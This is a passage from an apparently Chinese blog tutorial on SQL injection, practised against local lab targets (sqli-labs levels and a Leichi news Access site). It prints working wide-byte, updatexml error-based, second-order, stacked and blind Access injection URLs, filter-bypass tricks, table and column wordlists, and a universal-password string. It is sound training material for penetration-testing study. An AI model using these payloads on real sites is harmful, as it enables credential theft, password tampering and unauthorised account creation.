修改后再次执行
bash
# 获取表名
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,
(select group_concat(table_name)
from information_schema.tables where table_schema=0x7365637572697479),3 --+
成功

执行其他命令
bash
# 获取列名
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'
union select 1,(select group_concat(column_name) from
information_schema.columns where table_schema=0x7365637572697479),3 --+
# 获取字段
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'
union select 1,(select group_concat(id) from emails ),3 --+

4 报错注入
原理特征
没有显示位, 无法回显查询的数据, 但id=1' 的报错信息会显示在页面中
- sqllabs靶场 less-5
以sqllabs 靶场第五关为例

原理解析
bash
# 执行代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1
不会将查询的数据(如 id=1 时, 用户名为admin ) , 回显在浏览器页面中, 如下图所示

bash
# 执行代码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'
将报错信息输出到页面中:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

- 使用时机
一般来说, 是在联合查询注入受限, 且能返回错误信息时进行使用, 较为好用
:
1 BigInt等数据类型溢出
2 xpath语法错误
3 count()+rand()+group_by()导致主键重复
4 空间数据类型函数错误
xpath语法错误
原理
从mysql 5.1.5开始提供两个,XML查询和修改的函数,通过xml函数进行报错,来进行注入。主要涉及2个函数:
- updatexml()
- extractvalue()
注意事项
- 必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat 函数
- xpath只会对特殊字符进行报错,如波浪线~,即16进制的 0x7e来进行利用. ~ 约等于 0x7e
- xpath只会报错32个字符,所以要用到substr
- updatexml报错注入基本流程
语法格式:updatexml(XML_document, XPath_string, new_value)
第一个参数:xml文档的名称
第二个参数:xpath格式的字符串
第三个参数:替换查找到的符合条件的数据
总结, 就是查找一个字符串,并进行替换。 我们在xpath也就是第二个参数那里传入xpath不认识的特殊字符,并加上一些查询语句,mysql就会把错误和查询语句的结果报错显示出来。
1.1 判断是否存在注入
执行命令
bash
id=1'
- 结果
报错, 存在注入
1.2 判断注入类型
执行命令
bash
id=1as
与
id=1
# 页面一样,为字符型
或者
bash
id=1' and 1=1 %23
与
id=1' and 1=2 %23
# 页面不同, 为字符型
# 因为字符型的注入, 需要引号
页面一:

页面二:

- 结果
得到注入类型为: 字符型注入
1.3 获取数据库名
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'
and updatexml(1, concat(0x7e, database() ,0x7e) ,3) --+
执行后,这里提示的是
XPATH syntax error
一般报错为sql语法错误, 而这里为xpath语法错误,并回显信息

- concat()函数
将多个字符串连接成一个字符串,语法格式:concat(str1,str2,str3)
例

- 解析updatexml()
bash
# 版本1:
updatexml(1, 0x7edatabase()0x7e ,3)
# 构造的位置: 第二个位置进行构造; 第1 和 第3个位置用来凑数
# 语句是构造出来了, 但是 "0x7edatabase()0x7e"这一串字符连接起来,数据库不认识
# 所以要用到concat()函数
# 版本2:
updatexml(1, concat(0x7e,database(),0x7e) ,3)
- 结果
得到数据库名: security
1.4 获取表名
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and
updatexml(1, concat(0x7e, (select group_concat(table_name) from
information_schema.tables where table_schema=database()),0x7e) ,3) --+

concat 中间使用括号的原因
concat()中间不允许有空格,所以需要括号括起来把它变成一个整体
- concat 与 group_concat
concat() : 将一行合并为一个单元格 (只能处理一行的数据)
group_concat() : 将多行合并为一行 (处理多行的数据)
表名有多行, 所以要用到group_concat

- 结果
得到数据库中的表名: emails, referers, uagents, users
1.5 获取表中字段
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and
updatexml(1, concat(0x7e, (select group_concat(column_name)
from information_schema.columns where table_schema='security'
and table_name='emails'),0x7e) ,3) --+

1.6 获取字段中的记录
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and
updatexml(1, concat(0x7e, (substr(
(select group_concat(id,username) from users),1,32)) ,0x7e) ,3) --+
- substr() 第二个参数变化. 这里得到第一列中32个字符, 之后修改substr 数值, 让从第32/64/96位开始截取, 以此类推,得到其余的数据
- substr() 第三个参数32固定不变, 因为xpath只会报错32字符
- 结果
成功获取到字段的记录数据, 如 id 及 username等数据
如图所示:

若执行未带有substr函数的命令,数据则会显示不全,如下所示:
bash
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,
concat(0x7e, (select group_concat(username,password,id) from users),0x7e),3) --+

5 二次注入
原理
攻击者将恶意数据存储到数据库中(第一次注入), 然后恶意数据被读取并进入到SQL查询语句所导致的注入。
二次注入时注入了两次: 第一次注入, 没用; 第二次注入,取出数据后才有用.
二次注入过程中, 第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是在写入数据库的时候还是保留了原来的数据,数据本身还是脏数据。
举例
数据本身就是脏数据 ; 例如我们过安检时, 有违法的物品,不能光明正大拿出来,必须改头换面后才可以过去,但该物品本身还是违法的.
过程
bash
1 先构造语句. 此语句含有被转义字符的语句,
如 mysql_escape_string、mysql_real_escape_string 转义
2 将我们构造的恶意语句存入数据库(被转义的语句)
3 第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做
检查,成功注入)
例如
1. 输入参数: 1'
2. 经过转义函数变为: 1\'
3. 参数进入数据库后还是被还原为: 1' (参数被转义进入数据库,不会引发sql注入异常)
4. 将1'从数据库中取出(寻找另一处引用这个数据1'的操作,同时这个数据并没有被转义又插入进
了数据库中)
5. 1'取出赋值给变量, 但是没有经过转义过滤
6. 插入数据库insert into table values('1''); sql注入被触发
- sqllabs less-24
以sqllabs 靶场第24关为例
查看user 表
发现admin用户账号和密码

添加代码,查看输出的数据
bash
# 打开网站根目录
D:\web\tools\php2018\PHPTutorial\WWW\sqli-labs-master\Less-24
# 进入第24关中的目录,修改login_create.php文件
echo "Hint: you input is: ".$username ."<br>";
# 作用: 可以在网页中打印出创建的用户名

注册新用户

新用户数据
bash
新用户名: admin'#
密码: 123456

注册成功
可以看到注入的用户名为: admin'#
单引号被转义了

再次查看用户
可以发现用户名还是: admin'# 非admin'#
这是因为创建用户的代码只是在单引号前加了一个 \ ,使得在执行的时候单引号被认为
是字符串里的一个字符,而不是被当成 sql 语句中的单引号。

登录账户admin'#
使用admin'#登录
发现可以更改密码

更改密码为: 111

密码成功修改

再次查看users表
发现admin'# 用户的密码没有被修改
但是admin 用户的密码被修改了

为什么?
bash
在网站设计时,虽然过滤了注册的信息,把特殊字符进行了转义,但是在从数据库中调用从外部保存下来的数据时,并没有进行过滤,使得 admin'# 被代入到 sql 语句执行, 达到了修改用户 admin 的密码的目的。
1. 注册的时候虽然进行转义了单引号 admin\'#
2. 但是存入数据库中,还是原本的用户名admin'# ,而不是admin\'#
3. 且取出数据时还是 admin'#
admin'# 被带入到了数据库中进行执行, 执行了以下SQL语句
bash
# 原语句为:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
# 输入用户名: admin'# ,原密码: 123456, 修改后的密码: 111 ;
# 之后插入payload后的语句为:
update users set password ='123' where username='admin'#' and password='111'
# 此时, 'admin' 后的语句: #' and password='111' 被注释, admin后的单引号'与前面的单引号形成了闭合,就造成了SQL注入
#
# 真正的生效的语句为:
UPDATE users SET PASSWORD='$pass' where username='admin'
# 从而达到了修改用户 admin 密码的目的
防御措施
- 对外部提交的数据谨慎
- 从数据库提取数据时,不轻易相信查询出的数据,要做到查询的数据同样进行转义或甄别
6 堆叠注入
原理
bash
将原来的语句构造完后加上分号(;), 代表上一个语句执行完毕, 后面在输入的就是一个全新的
sql语句.
一般其他的SQL注入收到本身语句的限制,只能进行查询select操作, 操作空闲有限,而堆叠注入
完全打破限制, 堆一堆sql语句进行注入, 增删改查等sql语句都可进行操作.
使用条件
bash
使用条件十分有限, 只有当调用数据库函数支持执行多条sql语句时才能够使用
1. 利用mysqli_multi_query()函数就支持多条sql语句同时执行
2. 但实际情况中,为防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,
其只能执行一条语句
使用条件十分有限,但一旦能够被使用,可能对网站造成十分大的威胁
- sqllabs less-38
以sqllabs 第38关为例
- mysqli_multi_query()函数
第38关中源代码中就使用了 mysqli_multi_query()函数,如下所示:

mysqli_multi_query()函数的使用如下所示 .
原文章可点击直达: 菜鸟教程

正常注入流程
bash
# 基本与联合查询注入一致, 不再过多赘述
# 获取到数据库名、表名、列名和字段
1 判断是否注入
http://127.0.0.1/sqli-labs-master/Less-38/?id=1
http://127.0.0.1/sqli-labs-master/Less-38/?id=1ad'
2 判断注入类型
http://127.0.0.1/sqli-labs-master/Less-38/?id=1ad
3 判断列数
http://127.0.0.1/sqli-labs-master/Less-38/?id=1' order by 3--+
4 查询数据库名
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1'
union select 1,database(),3 --+
5 查询表名
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union
select 1,(select group_concat(table_name) from information_schema.tables
where table_schema='security'),3 --+
6 查询字段名
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union
select 1,(select group_concat(column_name) from information_schema.columns
where table_name='emails' and table_schema='security'),3 --+
7 查询字段
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union
select 1,(select group_concat(email_id) from emails ),3 --+
一般情况下到这里就结束了, 但是我们要进行堆叠注入, 且并不知道程序是否使用了mysqli_multi_query函数, 所以我们只能去猜测, 去到分号后面再加一个插入语句试试
执行命令
bash
http://127.0.0.1/sqli-labs-master/Less-38/?id=1' ;
insert into users(id,username,password) value(110,'wudaozi','123456') --+
如何得是否插入成功?
bash
# 执行命令
http://127.0.0.1/sqli-labs-master/Less-38/?id=110
直接查询插入的id号, 可以看到查询成功

- 结果
可以进行堆叠注入,执行增删改查操作
- 既然插入语句成功了, 那么其他的增删改查是不是都能成功? 这里就不一 一演示了
- 既然能插入数据,那如果网站存在后台,我们是不是可以自己新增一个管理员账户,然后进行登录呢?或者进行"删库跑路"呢?
7 Access注入
介绍
Access 是微软发布的关系数据库管理系统,它是一个独立的数据库,并不像mysql这些数据库有自带的数据库(mysql中的information_schema),所以我们在进行注入的时候需要用到不一样的方法。
一般通过联合注入、逐字猜解、偏移注入等方式进行攻击,在面对搭载这类数据库的网站时,也可以针对.mdb和.asp后缀名的文件进行爆破,说不定存在信息泄露可以直接拿到数据库。
常见语言和数据库搭配:
bash
asp+access
php+mysql
aspx+mssql
jsp+mssql,Oracle
python+mangodb,mysql
- access数据库
access基础
access 仅有一个数据, 其他的都是表
access数据库查看器下载
easy_access数据库查看器下载
查看雷驰靶场中的表
打开雷驰靶场中的数据库文件
文件目录为: D:\web\tools\xiaoxuanf\wwwroot\leichinews\data
文件为该目录下的 nxnews.mdb文件
打开数据库文件

选择对应的mdb文件

可以看到access数据库只有一个数据库, 多个表

攻击方法
- 联合查询
- 判断列数
- 逐字猜解
7.1 联合查询
- 判断是否存在注入
判断方式
使用单引号、减号、and等进行判断是否存在注入,如果能引起页面产生变化或者报错,则可能存在漏洞
执行命令
bash
http://127.0.0.1/leichinews/onews.asp?id=1'

bash
# 执行命令
http://127.0.0.1/leichinews/onews.asp?id=1 and 1=1
http://127.0.0.1/leichinews/onews.asp?id=1 and 1=2
# 这里页面不同, 可能是数字型注入
bash
http://127.0.0.1/leichinews/onews.asp?id=46-1
http://127.0.0.1/leichinews/onews.asp?id=45
# 这里页面一样, 说明减号(-), 可以进行运算 , 可能存在注入漏洞
- 结果
存在注入漏洞
- 获取列数
执行命令
bash
http://127.0.0.1/leichinews/onews.asp?id=1 order by 11
页面正常

执行命令
bash
# order by 12 数据库报错
http://127.0.0.1/leichinews/onews.asp?id=1 order by 12

- 结果
表的列数为---11
- 判断回显位和表名
3.1 猜测表名
输入
bash
http://127.0.0.1/leichinews/onews.asp?id=-1 union
select 1,2,3,4,5,6,7,8,9,10,11
报错

原因
这是因为access数据库联合查询的时候后面必须要跟上一个from+表名(这里区别于Mysql等数据库)
由于Access没有数据库的概念,所有的表都是在同一个数据库下。
所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数
由于表名不知道,只能靠猜测
常见的表名如下:
bash
admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,
administrator,manage,manager,member,memberlist,user,users,Manage_User,
user_info,admin_userinfo,UserGroups,user_list,login,Friend,zl,movie,news,
password,clubconfig,config,company,book,art,dv_admin,use rinfo
执行命令
bash
http://127.0.0.1/leichinews/onews.asp?id=-1 union
select 1,2,3,4,5,6,7,8,9,10,11 from admin
成功显示, 说明Access数据库中存在admin 表

查询users 表,则报错, 说明不存在users表
bash
http://127.0.0.1/leichinews/onews.asp?id=-1 union
select 1,2,3,4,5,6,7,8,9,10,11 from users
- 结果
猜测得到表名为: admin
3.2 判断回显位
根据查询出的结果, 页面显示2,3,8,9,10 则是回显的位置
bash
http://127.0.0.1/leichinews/onews.asp?id=-1 union
select 1,2,3,4,5,6,7,8,9,10,11 from admin

- 再次可确定回显位
将回显位10 改为100 , 若该位置发生变化,则确定是回显位
其他回显位同上可以操作确定
bash
# 执行代码后, 数字发生变化, 确定10是显示位
http://127.0.0.1/leichinews/onews.asp?id=-1 union
select 1,2,3,4,5,6,7,8,9,100,11 from admin
如下图所示

- 判断列名
常见列名
bash
username,adminusername,admin_username,adminname,admin_name,admin,adminuser,
admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,
administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,
usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,
userpwd,user_pwd,useradmin,pword,p_word,pass-wd,yonghu,id,uid,userid,user_id,
adminid,admin_id,login_name
执行命令
bash
# 猜测列名有 admin , password ,执行命令到显示位
http://127.0.0.1/leichinews/onews.asp?id=-1
union select 1,admin,password,4,5,6,7,8,9,100,11 from admin

得到了用户名: admin 密码:bfpms
登录后台
执行命令
bash
http://127.0.0.1/leichinews/admin/admin.asp
# 默认跳转到adminlogin.asp 登录页面


登录后台时
也可尝试其他的后缀,如
admin.php
admin.aspx
...
等等
登录
bash
# 提示密码错误
原因
1. 可能对密码: bfpms , 做了加密

解密
bash
1. 搜索: 雷驰新闻系统加解密, 查看对应文章解密
2. 找雷驰加密工具进行解密

- 结果
得到密码: admin
登录成功

7.2 逐字猜解
注入过程
基本与之前类似, 这里给出命令
- 判断是否存在注入
bash
http://127.0.0.1/leichinews/onews.asp?id=1'
- 判断注入类型
bash
http://127.0.0.1/leichinews/onews.asp?id=1as
- 判断表名
- exists()函数
判断子查询是否返回至少一行数据
执行命令
bash
http://127.0.0.1/leichinews/onews.asp?id=1 and exists(select * from admin)
这里从admin表中查询数据, 若查到数据, 则exists函数返回结果为真true ,否则为false
用以判断admin 或 猜测的某个表是否存在
页面一: 成功, admin表存在

页面二: 失败, adminad表不存在
bash
# 执行以下命令
http://127.0.0.1/leichinews/onews.asp?id=1 and exists(select * from adminad)

爆破所有表名
通过burp suite 进行抓包, 然后标记表名, 加载对应的字典, 爆破出所有的表名


- 结果
得到表名: admin 、news
- 判断列名
执行命令
bash
http://127.0.0.1/leichinews/onews.asp?id=1 and exists(select admin from admin)
页面返回成功, 得到表名admin 存在

爆破所有列名
通过burp suite 进行抓包, 然后标记列名, 加载对应的字典, 爆破出所有的列名
- 结果
得到列名: admin、password、id、user
- 获取字段数据
5.1 猜测记录长度
- top n 函数
- 相当于limit 0,1 语句, 限制输出行数; 限制查询结果返回的记录数量,只返回位于排序结果顶部(或底部)的指定数量的行
- 例 top 1: 查询结果只显示首条记录
- len()函数
相当于length() ,获取字符长度
执行命令
bash
# 获取admin表中admin字段长度, 并返回第1行的数据, 猜测第1行的数据长度
http://127.0.0.1/leichinews/onews.asp?id=1 and
(select top 1 len(admin) from admin)=5
# 大于1时,页面正常返回
# 大于10时,页面错误
# 等于5 时, 页面正常,得到字段长度
- 结果
得到字段长度----5
5.2 猜测记录内容
- asc()函数
相当于ascii()函数,转换字符为ascii码值
- mid()函数
相当于substr()函数,截取字符内容
执行命令
bash
# 写法一
# 猜测获取第一行中第一个字符内容为是97
http://127.0.0.1/leichinews/onews.asp?id=1 and
(select top 1 asc(mid(admin,1,1)) from admin)=97
# 变体写法二
http://127.0.0.1/leichinews/onews.asp?id=1 and
asc(mid((select top 1 admin from admin),1,1))=97
burp suite 爆破字段内容
bash
# 与之前的操作操作一样
标记一:
标记mid中的1, 得知第一个字段内容长度为5, payloads 设置1-5
标记二:
笔记ascii猜测结果97, payloads设置33-126
进行爆破
得到字段内容

- 结果
得到第一个字段的内容为: admin
其他学习资料: access注入教程
二、其他基础技巧
1. 基础注入技巧+思路
判断
一般的单引号判断注入:?id=1'
是否执行加减乘除: ?id=2-1
注入方式
有框皆可注入
且有注入顺序
前后, 一般在前较好
%26 == +
注入时,可以选择,如
?id=1 与 ?id=1%2b1 就是不同的结果
一般事项
注意每个页面的URL变化
注意提示
多试试(符合提示就可以)
页面登录经验
数据库
数据库表名一般1-15个字符
数据库名的命名(26字母,10个数字,下划线_)
数据库对大小写不敏感
apache / oracle 等数据库名只有一个, 表名有多个
flag
一般38位
2. 常用函数
-
length( )
获取字符长度,结果为1 或 0
如: length( database()=8)
-
group_concat( )
多行合并成一行
如: group_concat(table_name)
-
substr(string, start, length)
截取字符串
string是要截取的字符串,start是从哪个位置开始,length 是截取的长度
-
ascii( )
转换为ascii码字符
-
count()
返回行数
配置table_name即可得到表名
select count(table_name) from information_schema.tables where TABLE_SCHEMA='dvwa'
-
limit 0,1
限制输出行数
3. 绕过过滤处理
bash
折半法:>=5/10/15等等为界限
大写: Select
双写:
databdatabase()ase()
双写是需要注意,要包括 括号()
替换法:
空格 替换 /**/ ,例:union/**/select/**/1,2,3;
内联注释:
/* 这个是注释*/
/*!不被注释*/ ( 有个! 取反), 例:id=1 /*!union*/select 1,2,3;
()内联注释加: ~
特殊符号:
id=1 union+select+1,2,3;
函数替换:
字符串截取函数替换: mid( ) Mid() Substr() Substr()
字符串连接函数替换: Concat concat ws
万能密码:
1' or 1=1#
4. SQLmap自动化注入工具
请看往期文章 : 渗透测试工具
三、靶场实战
本篇文章篇幅过长, 靶场内容非主要内容, 请看往期文章
-
靶场搭建
-
靶场实战
请看文章sqllabs靶场实战教程
待续、更新中...
1 顿号、: 先使用ctrl+. ,再使用一遍切回
2 下标: 21 == 2~1~
3 上标: 2 0 2^{0} 20 == $2^{0}$
4 竖线 | : | ; == |
5 空格: &emsp ;
6 换行:  ; 或 <br>
以上就是今日博客的全部内容了
创作不易,若对您有帮助,可否点赞、关注一二呢,感谢支持.
您的SQL语法有错误;查看与MySQL服务器版本对应的手册,了解第1行"2"附近使用的正确语法

